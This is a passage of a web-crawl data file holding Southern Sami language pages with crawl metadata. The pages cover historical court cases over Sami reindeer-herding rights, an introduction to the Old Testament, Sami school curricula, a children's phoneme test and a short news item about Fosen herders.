båatsoesïjth tseegkesovvin, jïh jienebh tjïelth luhpehtsvoetem nænnoestin.\nTrollheimen\nSaemiefuelhkieh lea bovtsigujmie giehtelamme Trollheimesne guhkede gietjeste. Læjhkan idtji båatsoesïjte tseegkesovvh dajvesne 1890-jaepiej. Dan gaavhtan saemieh jearohke sjïdtin dåarjoste dajve-aajhterijstie jïh voenges reeremistie jis edtjin maehtedh gïehtelidh. Jalhts ovmessie ovvaantoeh orreme dle saemien båatsojne gïehtelamme iktemearan abpe 1900-låhkoen. 1984 akte jïjtse laake vihtiestamme sjïdti saemien båatsose Trollheimesne.\nRiasten jïh Gauldalen bæjjadahke. Jaepien 1877 Paul Johnsenen sïjte reaktese steebnesovvi krïevenassine maaksoen bïjre gåatomeskaaraj åvteste mejtie bovtse lij dorjeme sïetereïentjine, gåatome- jïh sleejemedajvine miehtjesne sijjine Gauldalen, Killingdalen, Søosen jïh Riasten. Aamhtese gïetesovvi gaajhkine reaktasuerkine jïh gellie jaepieh veesi. Jollereakta dåapmoem böökti aamhtesisnie jaepien 1892, seamma jaepien goh Lappekommisjovne sov barkoem böökti. Dellie Yngvar Nielsen lij sov teorijine båateme saemiej \"tjihtedimmien bïjre åarjese\". Daan teorijen gaavhtan saemieh åtnoereaktam dajvine dassin. Jollereakta Nielsenen teorijem våaroemasse bïeji gosse dåapmoe jeahtasovvi. Paul Johnsenen sïjte aamhtesem dassi.\nKuråsen, Molingdalen og Gjeltsjøen. 28 dajve-aajhterh Aursunden lïhke reakta-aamhtesem tseegki jienebi båatsoesaemiej vööste. Dah bagkehtin saemieh idtjin gåatomereaktam utnieh dajve-aajhteri eekine miehtjesne Kuråsesne jïh Aursunden noerhtelisnie. Båatsoesaemieh göökte reaktainstansine teehpin, men Paul Johnsen jïh Lars Holm leejhtin Jollereaktese. Jollereakta Yngvar Nielsenen teorijem våaroemasse bïeji gosse sov dåapmoem böökti 1897: \"Jeg finder overensstemmende med, hvad der er antaget i Voteringen i den af mig nys nævnte Sag i Retst. For 1892, at maatte gaa ud fra, at det ikke forholder sig, som tidligere ofte har været antaget, at Lapperne i disse Strøg skulde være de oprindelige Beboere, som af Nordmændene efterhaanden trænges tilbage. Meget mere maa jeg antage, at Bønderne her har havt sine Slaattemarker og sin Sæterdrift, før Lapperne ialfald med nogen Stadighed optraadte i Trakten.\"\nGauldalsvidda. Gauldalen guevtielisnie bovtsigujmie gïehtelamme joekehts baeliej. Vïelletjeguaktah John jïh Martin Jonassen mah juhtigan Ledalen gåajkoe Holtålesne sov krievvine gïjren 1899, lin doh minngemes mah dennie dajvesne gïehtelin. Dah varke vuastalimmiem dååjrin. Gauldalen guevtele idtji båatsoesïjtine sjïdth 1894, jïh jaepien 1901 jienebh tjïelth nænnoestin nihtedh låemties bovtsigujmie gïehtelidh. Martin Jonassen såemies vielie jaepieh gïehteli, men jaepien 1911 jallese krievvine juhti.\nSålekinna\nJaepien 1882 vïjhte fuelhkieh Sålekinnan gåajkoe juhtin sijjen krievviejgujmie. Morten Hansen jïh Anna Olofsdatter jïh baernieh Jonas, Morten, Lars jïh Jon fuelhkiejgujmie. Aarebi jienebh saemiefuelhkieh lin bovtsigujmie daennie dajvesne gïehtelamme. Læjhkan idtji guhkiem ryöhkh åvtelen stoerre ovvaantoeh sjïdti maaksoekrïevenassine jïh reakta-aamhtesigujmie. \"Lissiereaktesne\" (Extraret) Tynsetesne dåapmoe jeahtasovvi skïereden 1890 jïh fuelhkieh reaktam dassin Sålekinnesne årrodh.\nEinunndalen\nJaepien 1896 båantah Alvdaleste jïh Folldaleste jienebh saemienfuelhkieh steebnin liktemetjåanghkose luhpehts bovtsegåatomen gaavhtan Einunndalesne. Dihte lij akte stoerre fåantoe man åvteste saemieh dajveste juhtin sijjen krievviejgujmie. Einunndalen idtji meatan sjïdth gosse båatsoesïjth tseegkesovvin, jïh tjïelth nihtin bovtsigujmie desnie gïehtelidh dåarjojne lissielaakesne jaepeste 1897.\nRøros Kobberverk\n1916 båatsoesaemieh vihth reaktese steebnesovvin Røros Kobberverkeste. Kobberverket jueriem seeji saemiej gåatomereaktan bïjre Femunden dajvesne jïh maaksoem krïevi skaaran åvteste skåajjesne. Vueliereakta dåapmoem böökti tsïengelen 1917, ajve biejjieh rijhketjåanghkoen åvtelen Tråantesne. Båatsoesaemieh dööpmesovvin maaksoem maeksedh. Dah aamhtesem leejhtin jïh saemieh lutniestovvi Laakemaenniereaktesne mïetsken 1917. Jollereakta dåapmoem vihtiesti jaepien 1923.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/rorosmuseet.no\/aamhtesh","date":"2023-03-23T12:19:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945144.17\/warc\/CC-MAIN-20230323100829-20230323130829-00755.warc.gz","language":"sma","language_score":0.9995197058,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9995197057723999}","num_words":539,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dan vuelelen maahtah lohkedh teologijen gïehtjedimmiem Båeries testamenten bïjre.\nDïhte hebreladtji bijpele – vuj Båeries testamente goh kristegassjh jiehtieh – 39 gærjah åtna ovmessie karakteere jïh litterææren stijlh. Maahta Båeries testamentem golme boelhkide juekedh: Laake, Profeeth jïh Tjaalegh. Bijpele aalka dej vïjhte Mosen gærjajgujmie (Laake vuj Torah) mij soptseste veartenen sjugniedimmiej bïjre jïh dej voestes almetji bïjre. Daesnie mijjieh aaj lohkebe guktie Jupmele Israelen åålmeginie læhtoem dorje. Daesnie jïjnjh beagkoes almetjh: Noa, Abraham, Sara, Mose jïh dan åabpa Miriam. Mosen gærjaj sisvege aaj laaketjaalegh Israelen åålmegasse.\nDïhte boelhke maam gohtje Profeeth dïhte histovrijen gærja soptsesinie vihkeles gånkaj bïjre Israelen åålmegen histovrijisnie. Desnie aaj gærjah mej nommh dej stoerre profeeti nommine, goh Jesaia jïh Jeremia.\nBoelhke maam gohtje Tjaalegh dan sisnie jïjnje stoerre poesijen tjaalegh, vuesiehtimmien gaavhtan Saalmi gærja, Joben gærja jïh Laavlomi laavlome.\nJesus lij juvdelassje jïh Torahn mietie jieliji. Dah juvdeladtjevoeten aejlies tjaalegh lij vihkeles aareh gærhkosne jïh aaj daan biejjien vihkeles.\nBåeries testamente Bijpelisnie\nGïehtjedimmien tekste\nJuvdelassji aejlies tjaalegh, dïhte hebreladtji bijpele – maam mijjieh kristegassjh gåhtjobe Båeries testamente – lea aalkovisnie hebreladtji gïelesne tjaaleme. Dam pråvhka golme boelhkide juekedh:\n-\nLaake (Torah)\n-\nProfeeth (Neviim)\n-\nTjaalegh (Ketuviim).\nHebreladtji gïelesne baakoe Bijpele lea TaNaK, dej voestes bokstaavi mietie åejvieboelhkijste.\nTorah – dah vïjhte Mosen gærjah\nBijpele aalke dej vïjhte Mosen gærjine. Dah aaj Pentateuken gohtje. Penta lea vïjhte grekeladtji gïelesne jïh teuk lea, maam jeahta, gærjah. Juvdeladtjevoetesne dah vïjhte gohtje Torah.\nBaakoe Torah ovmessie goerkesh juvdeladtjevoetesne åtna, gaskem jeatjah laake jïh lïerehtimmie, mohte aaj dej vïjhte Mosen gærjaj nomme. Torah sjïere vierhtiem åtna juvdeladtjevoetesne jïh dejtie gïetede goh aejlies. Aaj daan biejjien juvdeladtjevoeten åålmegh dej tjaelemegiebresh jöörtieh – eah dejtie paehpere mubpesth nuhtjemasse maehtieh sleengkedh. Åehpies teksth Mose gærjine leah vuesiehtimmien gaavhtan sjugniedimmiesoptsesh, Mosen voestes gærja 1:1–2:3 jïh Mosen voestes gærja 2:4–2:24 jïh dah luhkie båvroeh Mosen mubpie gærja 20:1–17.\nDah vïjhte Mosen gærjaj sisvege lea gaskem jeatjah soptsese guktie veartenem sjugniedi jïh dej voestes almetji bïjre, jïh aaj soptsese guktie Jupmele Israelen åålmegem dåeriedi jïh dejgujmie læhtoem darjoeji. Daesnie soptsesh Israelen faangkevoete Egyptesne, vaanterdimmie bååstide hearlohkevoeten laantese jïh guktie Mose åadtjoeji Jupmelen båvroeh Sinai vaeresne dåastoehtidh. Daesnie mijjieh almetjh gaavnesjibie goh Noa, Abraham, Sara, Aajsa, Rebecka, Jaahke, Rakel, Lea, Josef, Mose jïh dan åabpa Miriam. Mubpine boelhkine Mose gærjijste laaketeksth Israelen åålmegidie.\nBILDTEXT:\nBåeries testamente lea dej kristegassji nomme hebreladtji bijpele, juvdelassji aejlies tjaalege. Guvvie: Pexels\/Pixabay\nProfeeth vuesiehtieh, soelkedehtieh jïh eadtjaldehtieh\nDïhte mubpie boelhke Båeries testamentesne lea Profeeth. Daesnie gellie dejstie histovrijen gærjijste Båeries testamentesne, vuesiehtimmien gaavhtan Samu-elen gærja jïh Gånkan gærjah soptsesigujmie gaskem jeatjah gånkah David jïh Salamo. Daesnie aaj dejtie stoerre profeetide goh Jesaia jïh Jeremia. Åehpies tekste lea Hearran gaagkije vaejvesne Jesaja 52:13–53:12.\nDah profeeth sïjhtin Israelen åålmegem bïhkedidh, daamhtaj voerkedin, men aaj dah soelkehtin jïh eadtjaldehtin. Daamhtaj profeeth seabradahkem laejhtiejin. Dah aaj ovrïektevoeth tjalmahtin jïh dej baeliej gånkah jïh hearrah laejhtiejin juktie dah idtjin åålmegem bïhkedh. Åehpies profeeten gïele lij Amos gïen baakoeh rïektevoeten bïjre histovrijen mietie jielieminie: \"Baajh reaktoem tjaetsine galka jïh rïektesvoetem goh johkh gelkieh\" Amos 5:24. Profeete Jååvnan dramatihken jieleden bïjre maahtah Jååvnan gærjesne lohkedh.\nDah tjaalegh mijjese vedtieh laavlomh, tjihtesh jïh dïejvesh\nBåeries testamenten gåalmede boelhkesne, Tjaalegh, desnie dah stoerre poesijen vierhkh Bijpielisnie. Daesnie vuesiehtimmien gaavhtan Saalmi gærja, Salomon vijsiesbaakoeh, Joben gærja jïh Laavlomi laavlome.\nSaalmi gærjesne 150 saalmh. Aerpievuekien mietie jeahtasovvi gånka Davide dejtie tjaaleme, men saatnan leah gellie ovmessie tjaelijh leah dejtie tjaaleme. Dah gujht dejtie nuhtjin gosse dejtie tjeelin jïh ennje dejtie nuhtjieh goh liturgijen teksth gyrhkesjimmesne. Gellie Saalmi gærjan saalmh lea laavlomh mah vïhnesjieh guktie Jupmele lea dan åålmegem sujhteme. Mubpieh åajvahtehtieh, vijsies baakoeh jïh håhkoe, mohte aaj sårkoe, vaejvieh jïh baenhtsies. Akte dejstie Bijpele åehpies teksteste lea Saalmi gærjesne: Jupmele mov ryöjnesjæjja, Saalmi gærja 23.\nJoben gærja lea soptsese poesijen boelhketjinie. Dïhte lea Joben bïjre gie lea buerie ålma mohte dåeriesmoerh jïh ovlæhkoeh åadtjoeji dan jieliedisnie. Voestegh dïhte gujht Jupmelem jaahka vaallah dejtie ovlæhkojde deahpadin, mohte minngiegietjesne dïhte Jupmelem våarnoeji gaajhkh bahhasvoeten åvteste mah satnem jaksin. Gærjam daamhtaj nuhtjie gosse sæjhta illustreeredh maam gohtje teodicé-dåeriesmoerem. Guktie Jupmele maahta dovne buerie jïh faamohke gosse seamma aejkien dovne bahhasvoete jïh vaejvieh gååvnesieh? Aaj gihtjie gyhtjelassh rïektesvoeten bïjre? Jupmele lea rïektesvoete gosse Joben bahhasvoetem dåastoehti?\nLaavlomi laavlome lea erotihken gieriesvoetebuerkiestimmie poesijen hammosne. Dïhte vuesehte guktie almetje dovne kråahpine jïh sealojne lea gieriesvoetesne jïh maahta Jupmelem jïh mubpieh almetjh eahtsa. Tekste lea kontroversijelle orreme gærhkoen histovrijisnie, mohte læjhkan dah dam utniehtieh. Daamhtaj lea dam toelhkestamme dïhte lea man akt jeatja bïjre enn kråahpen gieriesvoete, vuesiehtimmien gaavhtan dïhte gieriesvoetem vuesehte Jupmelen jïh Israelen åålmegen gaskem vuj Kristusen jïh gærhkoen gaskem.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.svenskakyrkan.se\/baeries-testamente","date":"2023-06-01T15:22:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647895.20\/warc\/CC-MAIN-20230601143134-20230601173134-00211.warc.gz","language":"sma","language_score":0.9999927282,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999927282333374}","num_words":735,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learoesoejkesjh saemien gïelesne jïh sjïere saemien faagine\nSaemiedigkien lea dïedte evtiedidh jïh vihtiestidh learoesoejkesjh saemien gïelesne maadthskuvlese jïh jåarhkelïerehtæmman jïh sjïere saemien faagide jåarhkelïerehtæmman (duedtie, båatsoefaage jïh vielie), v. lïerehtimmielaakine § 6-4, mubpie lïhtse.\nSaemien sisvege sïejhme learoesoejkesjinie Maahtoelutnjemisnie\nÖöhpehtimmielaake stillemem vadta gaajhkh learohkh Nöörjesne edtjieh lïerehtimmiem åadtjodh saemiej bïjre, dej gïelen jïh siebriedahkejieleden bïjre dej ovmessie faagesuerkiej bïjre. Mieriej sisnjeli mejtie departemeente lea vihtiestamme, Saemiedigkien lea faamoe mieriedimmieh vedtedh sisvegen bïjre dagkeres lïerehtimmesne, v. Ööhpehtimmielaake § 6-4, voestes lïhtse.\nMaahtoedepartemeente gaajhkh learoesoejkesjh vihteste bielelen learoesoejkesjh saemien gielesne jïh sjïere saemien faagine. Saemiedigkien lea faamoe saemien sisvegem vihtiestidh gaajhkine learoesoejkesjinie.\nSaemien parallelle learoesoejkesjh saemien learoesoejkesjevierhkesne\nGaajhkh maadthskuvlelearohkh tjïeltine saemien gïelen reeremedajvesne, jïh learohkh mah saemien lïerehtimmiem åadtjoeh maadthskuvlesne jïh jåarhkeskuvlesne edtjieh lïerehtimmiem åadtjodh gusnie lïerehtimmieprinsïhph – saemien lea våaroemasse jïh saemien parallelle seammavyörtegs learoesoejkesji mietie faagine gusnie parallelle learoesoejkesjh gååvnesieh.\nSaemiedigkie edtja rååresjimmesne departemeentine raeriestimmieh darjodh parallelle, seammavyörtegs learoesoejkesjidie, v. ööhpehtimmielaake § 6-4, gåalmede lïhtse.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sametinget.no\/lierehtimmie\/mieriedimmieh-jih-laakh-mah-leah-saemien-lierehtimmien-bijre\/saemiedigkien-faamoe-learoesoejkesji-avteste\/","date":"2023-05-29T18:19:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644907.31\/warc\/CC-MAIN-20230529173312-20230529203312-00375.warc.gz","language":"sma","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000007152557373}","num_words":148,"character_repetition_ratio":0.122,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.23,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien foneemeteeste - åarjelsaemiengïele\/sørsamisk\nÅarjelsaemien foneemeteeste maanan gïeletjoejh öörnegen mietie goerehte. Maahta daam nuhtjedh jis maana tsagkesh åtna gosse edtja soptsestidh, jallh jis sæjhta maanan baakoestimmiem goerehtidh.\nLes omtale av Sørsamisk fonemtest på norsk.\nLoga Davvisámegiel fonemtesta birra davvisámegillii.\nÅarjelsaemien foneemeteeste edtja viehkine årrodh logopedide, sjïerepedagogide jïh jeatjebh mah dïrregh darpesjieh maanaj gïelh vuarjasjidh. Maahta teestem daam nuhtjedh maanan 4. aalteristie, men gåarede aaj nuhtjedh nuerebh maanide.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.statped.no\/laringsressurser\/sprak-og-tale\/samisk-spraktale\/aarjelsaemien-foneemeteeste---aarjelsaemiengielesorsamisk\/?_t_id=tYyqf3Uk0kUoqI5JcfL3iA%3D%3D&_t_uuid=SHaS5aSnT6iX5ShLbDppsw&_t_q=vennskap+og+inkludering+-+h%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BDrsel&_t_tags=language%3Ano%2Csiteid%3Aef3d3fed-6956-4012-9794-e10aef7f5655&_t_hit.id=Statped_ContentTypes_Pages_LaringsressursPage\/_c9ffb5c4-cc73-4bb1-81ad-f1dc6dadd802_no&_t_hit.pos=190","date":"2023-05-28T12:43:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643784.62\/warc\/CC-MAIN-20230528114832-20230528144832-00623.warc.gz","language":"sma","language_score":0.999849081,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998490810394287}","num_words":65,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieh Fovseste Oslovese vuelkieh\nDaenbiejjien dah båatsoesaemieh Fovsen njaarkeste Oslovese vuelkieh. Dah sijhtieh dah aksjonisth dåarjoeh.\n– Mijjieh dah aksjovnistine soptsestibie, jih mijjieh jiehtebe ahte mijjieh gyhtjeladtje maam dah daesnie darjoeh, Terje Haugen mij lea Fovsen Njaarken åejvie jeahta.\nHaugen lea akte dejstie mij dan aereden Oslovese vøølki. Tsåahka 12 nieljie Jåma fuelhkeste vuelkiejin. Akte dejstie lea Tom Mathias Jåma mij lea båatsoesaemie Fovsesne. Dihte seamma goh Haugen jeahta, jih dihte aaj sæjhta dah aksjovnisth gijhtien.\n– Mijjieh håhkesjibie daate maahta prosessem skroedtedehtien guktie reerenasse maehtieh maam akth daelie dorjedh, så mijjieh daejrebe guktie mijjien båetieh biejjh vååjnoes, Jåma jeahta.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.nrk.no\/sapmi\/saemieh-fovseste-oslovese-vuelkieh-1.16319171","date":"2023-06-05T09:44:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224651815.80\/warc\/CC-MAIN-20230605085657-20230605115657-00499.warc.gz","language":"sma","language_score":0.9999717474,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999717473983765}","num_words":97,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie maehtebe barkoe-faageles teemam åehpiedehtedh? Guktie tjaeledh, buerkiestidh jïh vuesiehtidh? Mah sjïere faage-baakoeh daerpies?\nGuktie barkoe-buerkiestimmiem darjodh\nGosse barkoe-prosessem jallh darjoemassem åehpiedehtedh dellie daerpies dovne faage-maahtoem, faage-gïelem jïh terminologijh utnedh mah teemese sjiehtieh.\nDah tsiehkieh viehkine gosse edtjh barkoe-buerkiestimmiem darjodh:\nBuerkesth voestegh åenehks-laakan mejnie sïjhth barkedh jïh maam edtjh darjodh. Buerkesth aaj man åvteste.\nVuesehth guvviejgujmie guktie darjoeh jïh guktie sjædta.\nOhtsedh voestegh sjiehteles substantijvh buerkiestæmman.\n- Ohtsedh mænngan sjiehteles verbh buerkiestæmman.\nVaestedh dejtie gyhtjelasside mah dov veeljeme barkoe-prosessese\/darjoemassese sjiehtieh:\nGïeh edtjieh dejnie barkedh?\nGuktie dam barkemem\/darjoemassem tjïrrehtidh?\nGåessie, gusnie jïh man guhkiem dejnie barkedh?\nMah viehkie-vierhtieh, dïrregh jallh maskijnh daerpies?\nMah ïebnh jallh materijaalh daerpies?\nMan jïjnje jallh man gellie dejstie ïebnijste jallh materijaaleste daerpies?\nGellien aejkien daerpies daejredh man dovres sjædta, jïh aaj ryöknedh man dovres jïh guktie darjodh juktie aelpebe edtja sjïdtedh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:e0205b0d-120d-43c0-a41a-b473ef0e3509\/topic:cd618168-a6c8-4843-96c8-f7defe34512a\/resource:47d3e21c-dce5-4851-a1de-1d5f4a6a6089","date":"2023-06-02T11:57:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648635.78\/warc\/CC-MAIN-20230602104352-20230602134352-00315.warc.gz","language":"sma","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000072717666626}","num_words":134,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bæjhkoje\nSaemien lohkemejarnge\nFaage\nGiele\nAamhtesh\nDaan jaepien internasjonaale aalkoealmetjejaepien Saemien lohkemejarnge åtna vihkeles domtesh maehtedh baakoejgujmie buerkiestidh.\nDan gaavhtan mijjieh plakaatem dorjeme, baakoe- jïh ååredæjjajgujmie, mah ovmessie domtesh vuesiehtieh. Plakaati leah golme ovmessie varijaanth (noerhte-, julev- jïh åarjelsaemiengïele) jïh maahta plakaatem Saemien lohkemejarngeste åadtjodh.\nfirstname.lastname@example.org\nJeatjah learoevierhtieh domtesi bïjre:\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ovttas.no\/sma\/dokumenta_domtesh","date":"2023-06-03T12:25:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224649193.79\/warc\/CC-MAIN-20230603101032-20230603131032-00422.warc.gz","language":"sma","language_score":0.9999604225,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999604225158691}","num_words":61,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiengïelesne mubpiengïeline 4 (SAS04‑01)\nMaahtoeulmieh jïh vuarjasjimmie\nMaahtoeulmie jåa2 studijeryöjreden ööhpehtimmieprogrammen mænngan\n- jeereldihkie baakoeh jïh baakoetjïerth nuhtjedhïedtji jïh astoe-aejkien bïjre\nNuhtjedh sæjhta jiehtedh mijjieh nåhtoem mestie akt vaeltebe jallh dahkoem darjobe juktie aktem ulmiem jaksedh. Nuhtjedh lea mahte seamma goh nåhtadidh, åtnose vaeltedh, vuesiehtimmien gaavhtan akte vuekie jallh dïrrege.\n- aelkedh, jåerhkedh jïh soptsestallemh galhkedh\n- jïjtse mïelh njaalmeldh buektedh\n- ovmessie teemah tjïelkestidh jïh åehpiedehtedh\nÅehpiedehtedh lea vuesiehtidh, tjïelkestidh jïh aktem faageles teemam jallh dorjesem buektedh. Maahta joekehtslaakan åehpiedehtedh, men ulmie åehpiedehtieminie lea teemam jallh dorjesem åehpies darjodh mubpide. Åehpiedehtedh maahta aaj årrodh illustreredh jïh demonstreradidh.\n- teeksth goltelidh jïh lohkedh jïh sisvegen bïjre soptsestidh\n- saemien lidteratuvrem goerehtidhjïh dan bïjre soptsestalledh\nGoerehtidh lea dååjredh jïh eksperimenteradidh, jïh maahta tjetskehkevoetem jïh onterdimmiem gorredidh. Goerehtidh maahta årrodh daajedh, ohtsedh, vueptiestidh, vïhtesjidh jallh kraanskodh. Såemies aejkien sæjhta årrodh ovmessie bielieh aktede aamhtesijstie goerehtidh akten ræhpas jïh laejhtehks digkiedimmien tjirrh. Goerehtidh maahta aaj årrodh teestadidh jallh pryövedh jïh barkoevuekieh, dorjesh jallh dalhketjh evalueradidh.\n- teeksth tjaeledh mah bievnieh, soptsestieh jïh gihtjieh\n- baakoeh sojjehtidh jïh raajesh tseegkedh guktie mubpieh guarkoeh","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/sas04-01\/kompetansemaal-og-vurdering\/kv228?lang=sma","date":"2023-09-27T21:59:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510326.82\/warc\/CC-MAIN-20230927203115-20230927233115-00112.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":170,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vitnedimmesne dïhte dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme edtja hijven psyskiske jïh fysiske healsoem eevtjedh jïh learoehkidie dïrregh vedtedh eensi jieledeveejlemh vaeltedh. Faage edtja positijve jïjtjeguvviem eevtjedh mij maahta learoehkidie jearsoe identiteetem vedtedh. Faage edtja viehkiehtidh guktie learohkh daajroem åadtjoeh ovmessie perspektijvi bïjre svihtjemedarjoeminie jïh healsosne. Learohkh edtjieh aaj lïeredh healsoem reeredh goh vierhtie mij gaagnine fïereguhtese, jïh lïeredh veeljemh vaeltedh mah leah hijven jïjtsh jïh mubpiej healsose abpe jieleden tjïrrh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/kro01-05\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2023-09-28T01:30:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510334.9\/warc\/CC-MAIN-20230927235044-20230928025044-00324.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":70,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelelïereme sjugniehtåvva englaantengïeleldh teekstigujmie. Teekstebaakoe åtnasåvva vijries goerkesisnie; njaalmeldh jïh tjaaleldh, trygkeme jïh digitaale, grafihkeles jïh tjiehpeles, byjjes jïh ovbyjjes, tjiehpieslidteræære jïh aamhteseteeksth, daaletje tïjjeste jïh åvtetje aejkeste. Teeksth maehtieh utnedh tjaalegh, guvvieh, tjoejem, graafh, taalh jïh jeatjah buektemevuekieh mah tjåanghkan bïejesovveme juktie tjïertestidh jïh dïjrem buektedh. Barkoe englaantengïelen teekstigujmie learoehkidie daajroem jïh dååjrehtimmiem vadta gïeleldh jïh kulturelle gellievoetine, jïh aaj goerkese aalkoeåålmegi jieledevuekiej, ussjedimmievuekiej jïh aerpievuekiej bïjre. Gosse ovmessie såarhts englaantengïeleldh teeksti bijjeli ussjededtieh, toelhkestieh jïh vuarjasjieh, learohkh edtjieh gïelem jïh daajroem kultuvren jïh seabradahken bïjre vejtiestidh. Learohkh dan tjïrrh gaskekulturelle goerkesem evtiedieh guktie maehtieh joekehts jieledevuekieh, ussjedimmievuekieh jïh gaskesadtememöönsterh haalvedh. Learohkh edtjieh våaromem åadtjodh jïjtsh jïh mubpiej identiteetem vuejnedh gelliengïeleldh jïh gellienkulturelle ektiedimmesne.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/eng01-04\/om-faget\/kjerneelementer?lang=sma","date":"2023-09-22T04:11:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506329.15\/warc\/CC-MAIN-20230922034112-20230922064112-00726.warc.gz","language":"sma","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000087022781372}","num_words":115,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Identiteete, jïjtjeguvvie jïh kultuvre ISK 3.-4. trinn\nLearnLab – identiteete, jïjtjeguvvie jïh kultuvre (LearnLab ISK) edtja baakoetjïertide identiteete, jïjtjeguvvie jïh kultuvre våajnoes darjodh. Teemesne laavenjassh jïh simuleeremh mah edtjieh viehkine årrodh learohkh maehtieh damtijidh jïh baakoetjïerti bïjre soptsestidh goh irhkeme, ruvse, seksualiteete, trïegkenasse jïh vædtsoehvoete. Lïerehtimmie viehkehte goerkesem sjugniedidh baakoetjïertide, jïh ovvaajteles heannadimmieh hööptedh.\nSisvege:\nLearnLab 